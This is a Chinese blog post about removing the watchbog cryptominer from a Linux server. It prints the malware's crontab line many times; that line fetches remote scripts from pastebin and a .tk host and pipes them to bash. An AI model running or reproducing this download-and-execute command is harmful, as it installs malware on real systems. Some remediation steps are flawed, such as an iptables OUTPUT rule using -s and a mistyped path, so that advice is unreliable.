挖矿病毒watchbog处理过程

Posted wang50902

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了挖矿病毒watchbog处理过程相关的知识,希望对你有一定的参考价值。

  1. 1 挖矿病毒watchbog处理过程
    简要说明
    这段时间公司的生产服务器中了病毒watchbog,cpu动不动就是100%,查看cpu使用情况,发现很大一部分都是us,而且占100%左右的都是进程watchbog,怎么办?
    前期操作:
#top -H
top - 23:46:20 up  2:20,  4 users,  load average: 17.50, 11.47, 8.05
Threads: 876 total,  18 running, 858 sleeping,   0 stopped,   0 zombie
%Cpu(s): 99.9 us,  0.1 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem : 65806080 total, 50549892 free, 13517884 used,  1738304 buff/cache
KiB Swap:  8388604 total,  8388604 free,        0 used. 51616500 avail Mem
 
  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
26548 root      20   0   74908   4452      4 R 99.7  0.0   4:40.07 watchbog            #全部这个程序占用cpu
26551 root      20   0   74908   4452      4 R 99.7  0.0   4:38.46 watchbog
26553 root      20   0   74908   4452      4 R 99.7  0.0   4:40.15 watchbog
26555 root      20   0   74908   4452      4 R 99.7  0.0   4:39.08 watchbog
26543 root      20   0   74908   4452      4 R 99.4  0.0   4:39.48 watchbog
26544 root      20   0   74908   4452      4 R 99.4  0.0   4:39.75 watchbog
26545 root      20   0   74908   4452      4 R 99.4  0.0   4:39.82 watchbog
26546 root      20   0   74908   4452      4 R 99.4  0.0   4:40.17 watchbog
26547 root      20   0   74908   4452      4 R 99.4  0.0   4:39.04 watchbog
26549 root      20   0   74908   4452      4 R 99.4  0.0   4:40.04 watchbog
26550 root      20   0   74908   4452      4 R 99.4  0.0   4:40.20 watchbog
26554 root      20   0   74908   4452      4 R 99.4  0.0   4:39.09 watchbog
26556 root      20   0   74908   4452      4 R 99.4  0.0   4:39.86 watchbog
26557 root      20   0   74908   4452      4 R 99.4  0.0   4:39.90 watchbog
26558 root      20   0   74908   4452      4 R 99.4  0.0   4:39.87 watchbog
26552 root      20   0   74908   4452      4 R 98.1  0.0   4:38.92 watchbog
25344 root      20   0  148956   2952   1448 R  1.6  0.0   0:04.71 top
 1556 root      20   0       0      0      0 S  0.3  0.0   0:07.39 xfsaild/dm-1
 2957 root      20   0  455156   8144   6264 S  0.3  0.0   0:00.58 NetworkManager
 3019 root      20   0  391352   6004   3136 S  0.3  0.0   0:00.20 gdbus
 3784 root      20   0 42.587g 9.874g  16528 S  0.3 15.7   0:08.14 java
 7693 root      20   0 42.587g 9.874g  16528 S  0.3 15.7   0:00.52 java
 7315 root      20   0 2629884  49276  17088 S  0.3  0.1   0:03.24 phantomjs
11885 nobody    20   0   24380   3924   2100 S  0.3  0.0   0:00.69 nginx
    1 root      20   0  189920   4972   2516 S  0.0  0.0   0:04.27 systemd
    2 root      20   0       0      0      0 S  0.0  0.0   0:00.01 kthreadd
    3 root      20   0       0      0      0 S  0.0  0.0   0:00.28 ksoftirqd/0
    5 root       0 -20       0      0      0 S  0.0  0.0   0:00.00 kworker/0:0H
    6 root      20   0       0      0      0 S  0.0  0.0   0:00.00 kworker/u32:0
    7 root      20   0       0      0      0 S  0.0  0.0   0:00.00 kworker/u33:0
    8 root      rt   0       0      0      0 S  0.0  0.0   0:00.32 migration/0
    9 root      20   0       0      0      0 S  0.0  0.0   0:00.00 rcu_bh

查看并分析
针对此问题,及时查找出问题根源,先查看定时任务及相应的目录

#ll /etc/cron   
cron.d/       cron.deny     cron.monthly/ cron.weekly/
cron.daily/   cron.hourly/  crontab
    #ll /etc/cron.d
total 28
-rw-r--r--. 1 root root 128 Jul  8  2014 0hourly
-rw-r--r--  1 root root 539 Jan 11  2015 apache
-rw-r--r--. 1 root root 108 Jan 20  2015 raid-check
-rw-r--r--  1 root root 539 Jan 11  2015 root
-rw-------. 1 root root 235 Nov 12  2014 sysstat
-rw-r--r--  1 root root 539 Jan 11  2015 system
-rw-r--r--. 1 root root 187 Jan 28  2014 unbound-anchor
#crontab -l
*/9 * * * * sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/JgTVYWRY||wget -q -O- https://pastebin.com/raw/JgTVYWRY||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/dGKgNgsX").read()'||curl -fsSL https://pastebin.com/raw/VG7a0nkZ||wget -q -O - https://pastebin.com/raw/VG7a0nkZ||curl -fsSLk luckyboy666.tk:9080/host-manager/olds.txt -m 90||wget -q -O - luckyboy666.tk:9080/host-manager/olds.txt --no-check-certificate -t 2 -T 60)|bash
##

定时任务全是这样的任务,先删除先。
解决步骤:
步骤一:

首先把定时任务的目录权限修改
#chmod  -R 500 /etc/crontab
#chmod  -R 500 /etc/cron.monthly
#chmod  -R 500 /etc/cron.weekly
#chmod  -R 500 /etc/cron.daily
#chmod  -R 500 /etc/cron.hourly
#vim /etc/crontab        #删除不正常的
#rm -rf /etc/cron.monthly/* /etc/weekly/* /etc/cron.daily/* /etc/cron.hourly/*    #目录下所有的文件都删除
并根据crontab文件中,判断把/usr/bin/watchbog /usr/bin/httpntp /usr/bin/ftpsdns这几个文件删除
#rm -rf  /usr/bin/watchbog /usr/bin/httpntp /usr/bin/ftpsdns
并停掉进程
#ps -ef |grep watchbog|grep -v grep |awk '{print $2}'|xargs kill -9

初步操作之后,以为可以完成,但是几分钟后,cpu又是百分之百了,看来没有找到问题的根源,继续找
根据百度上的别人关于此问题的解决方法,先操作一下:
步骤二:

#iptables -A INPUT -s  pastebin.com -j DROP
#iptables -A OUTPUT -s pastebin.com -j DROP
#iptables -nL

并再次进行步骤一的操作。
然后继续观察,几分钟后,watchbog病毒又来了,看来这种方法不是很有效,没有找到真正找到病毒的根源
继续观察,发现如下问题

#ps -ef |grep wget
root       973   910  0 07:57 ?        00:00:00 /bin/sh -c sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/JgTVYWRY||wget -q -O- https://pastebin.com/raw/JgTVYWRY||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/dGKgNgsX").read()'||curl -fsSL https://pastebin.com/raw/VG7a0nkZ||wget -q -O - https://pastebin.com/raw/VG7a0nkZ||curl -fsSLk luckyboy666.tk:9080/host-manager/olds.txt -m 90||wget -q -O - luckyboy666.tk:9080/host-manager/olds.txt --no-check-certificate -t 2 -T 60)|bash
root       974   841  0 07:57 ?        00:00:00 /bin/sh -c sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/JgTVYWRY||wget -q -O- https://pastebin.com/raw/JgTVYWRY||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/dGKgNgsX").read()'||curl -fsSL https://pastebin.com/raw/VG7a0nkZ||wget -q -O - https://pastebin.com/raw/VG7a0nkZ||curl -fsSLk luckyboy666.tk:9080/host-manager/olds.txt -m 90||wget -q -O - luckyboy666.tk:9080/host-manager/olds.txt --no-check-certificate -t 2 -T 60)|bash
root       975   845  0 07:57 ?        00:00:00 /bin/sh -c sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/JgTVYWRY||wget -q -O- https://pastebin.com/raw/JgTVYWRY||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/dGKgNgsX").read()'||curl -fsSL https://pastebin.com/raw/VG7a0nkZ||wget -q -O - https://pastebin.com/raw/VG7a0nkZ||curl -fsSLk luckyboy666.tk:9080/host-manager/olds.txt -m 90||wget -q -O - luckyboy666.tk:9080/host-manager/olds.txt --no-check-certificate -t 2 -T 60)|bash
root       976   856  0 07:57 ?        00:00:00 /bin/sh -c sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/JgTVYWRY||wget -q -O- https://pastebin.com/raw/JgTVYWRY||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/dGKgNgsX").read()'||curl -fsSL https://pastebin.com/raw/VG7a0nkZ||wget -q -O - https://pastebin.com/raw/VG7a0nkZ||curl -fsSLk luckyboy666.tk:9080/host-manager/olds.txt -m 90||wget -q -O - luckyboy666.tk:9080/host-manager/olds.txt --no-check-certificate -t 2 -T 60)|bash
root       977   855  0 07:57 ?        00:00:00 /bin/sh -c sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/JgTVYWRY||wget -q -O- https://pastebin.com/raw/JgTVYWRY||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/dGKgNgsX").read()'||curl -fsSL https://pastebin.com/raw/VG7a0nkZ||wget -q -O - https://pastebin.com/raw/VG7a0nkZ||curl -fsSLk luckyboy666.tk:9080/host-manager/olds.txt -m 90||wget -q -O - luckyboy666.tk:9080/host-manager/olds.txt --no-check-certificate -t 2 -T 60)|base
进行关闭wget进程时出现错误:
#ps -ef |grep wget|grep -v grep |xargs kill -9
kill: cannot find process "root"
Killed
同样,curl命令也感染了。
#ps -ef|grep curl
root       974   841  0 07:57 ?        00:00:00 /bin/sh -c sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/JgTVYWRY||wget -q -O- https://pastebin.com/raw/JgTVYWRY||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/dGKgNgsX").read()'||curl -fsSL https://pastebin.com/raw/VG7a0nkZ||wget -q -O - https://pastebin.com/raw/VG7a0nkZ||curl -fsSLk luckyboy666.tk:9080/host-manager/olds.txt -m 90||wget -q -O - luckyboy666.tk:9080/host-manager/olds.txt --no-check-certificate -t 2 -T 60)|bash
root       975   845  0 07:57 ?        00:00:00 /bin/sh -c sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/JgTVYWRY||wget -q -O- https://pastebin.com/raw/JgTVYWRY||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/dGKgNgsX").read()'||curl -fsSL https://pastebin.com/raw/VG7a0nkZ||wget -q -O - https://pastebin.com/raw/VG7a0nkZ||curl -fsSLk luckyboy666.tk:9080/host-manager/olds.txt -m 90||wget -q -O - luckyboy666.tk:9080/host-manager/olds.txt --no-check-certificate -t 2 -T 60)|bash
root       976   856  0 07:57 ?        00:00:00 /bin/sh -c sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/JgTVYWRY||wget -q -O- https://pastebin.com/raw/JgTVYWRY||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/dGKgNgsX").read()'||curl -fsSL https://pastebin.com/raw/VG7a0nkZ||wget -q -O - https://pastebin.com/raw/VG7a0nkZ||curl -fsSLk luckyboy666.tk:9080/host-manager/olds.txt -m 90||wget -q -O - luckyboy666.tk:9080/host-manager/olds.txt --no-check-certificate -t 2 -T 60)|bash
root       977   855  0 07:57 ?        00:00:00 /bin/sh -c sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/JgTVYWRY||wget -q -O- https://pastebin.com/raw/JgTVYWRY||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/dGKgNgsX").read()'||curl -fsSL https://pastebin.com/raw/VG7a0nkZ||wget -q -O - https://pastebin.com/raw/VG7a0nkZ||curl -fsSLk luckyboy666.tk:9080/host-manager/olds.txt -m 90||wget -q -O - luckyboy666.tk:9080/host-manager/olds.txt --no-check-certificate -t 2 -T 60)|bash
root       978   881  0 07:57 ?        00:00:00 /bin/sh -c sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/JgTVYWRY||wget -q -O- https://pastebin.com/raw/JgTVYWRY||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/dGKgNgsX").read()'||curl -fsSL https://pastebin.com/raw/VG7a0nkZ||wget -q -O - https://pastebin.com/raw/VG7a0nkZ||curl -fsSLk luckyboy666.tk:9080/host-manager/olds.txt -m 90||wget -q -O - luckyboy666.tk:9080/host-manager/olds.txt --no-check-certificate -t 2 -T 60)|bash
root       979   835  0 07:57 ?        00:00:00 /bin/sh -c sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/JgTVYWRY||wget -q -O- https://pastebin.com/raw/JgTVYWRY||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/dGKgNgsX").read()'||curl -fsSL https://pastebin.com/raw/VG7a0nkZ||wget -q -O - https://pastebin.com/raw/VG7a0nkZ||curl -fsSLk luckyboy666.tk:9080/host-manager/olds.txt -m 90||wget -q -O - luckyboy666.tk:9080/host-manager/olds.txt --no-check-certificate -t 2 -T 60)|bash
root       980   851  0 07:57 ?        00:00:00 /bin/sh -c sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/JgTVYWRY||wget -q -O- https://pastebin.com/raw/JgTVYWRY||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/dGKgNgsX").read()'||curl -fsSL https://pastebin.com/raw/VG7a0nkZ||wget -q -O - https://pastebin.com/raw/VG7a0nkZ||curl -fsSLk luckyboy666.tk:9080/host-manager/olds.txt -m 90||wget -q -O - luckyboy666.tk:9080/host-manager/olds.txt --no-check-certificate -t 2 -T 60)|bash
root       983   865  0 07:57 ?        00:00:00 /bin/sh -c sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/JgTVYWRY||wget -q -O- https://pastebin.com/raw/JgTVYWRY||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/dGKgNgsX").read()'||curl -fsSL https://pastebin.com/raw/VG7a0nkZ||wget -q -O - https://pastebin.com/raw/VG7a0nkZ||curl -fsSLk luckyboy666.tk:9080/host-manager/olds.txt -m 90||wget -q -O - luckyboy666.tk:9080/host-manager/olds.txt --no-check-certificate -t 2 -T 60)|bash
同样删除也不行
#ps -ef |grep curl|grep -v grep |xargs kill -9
kill: cannot find process "root"
Killed

针对此问题,进行步骤三

1、先把命令curl,wget重命名
#mv /usr/bin/curl /usr/bin/lruc
#mv /usr/bin/wget /usr/bin/tegw
2、然后再次进行步骤一的操作
3、观察cpu的使用情况
#top -H

经过一二天的观察 ,最终确认此问题解决了
解决步骤再重复一下

第一步:
    先把curl,wget命令重命名,请看步骤三
第二步:
    删除定时任务及对应的挖矿病毒文件,请看步骤一
第三步:
    把病毒网站拒绝其访问,请看步骤二
第四步:
    再次启动一下xshell时,再次监控
    echo "Welcome your!"
bash: curl: command not found...
bash: wget: command not found...
bash: curl: command not found...
bash: wget: command not found...
bash: curl: command not found...
bash: wget: command not found...
bash: curl: command not found...
bash: wget: command not found...
bash: curl: command not found...
bash: wget: command not found...
bash: curl: command not found...
bash: wget: command not found...

就会发现原来挖矿病毒的使用什么技术来达到的,找到问题根源,就解决此问题了
至此,以上为挖矿病毒的解决方法。

以上是关于挖矿病毒watchbog处理过程的主要内容,如果未能解决你的问题,请参考以下文章

记服务器随机10字符病毒及被当做挖矿肉鸡的清除的过程

僵尸病毒和挖矿病毒的区别

挖矿病毒分析(centos7)

服务器管理Ubuntu的一次惊心动魄的查杀挖矿病毒的经历:病毒伪装成python

处理kdevtmpfsi挖矿病毒

处理kdevtmpfsi挖矿病毒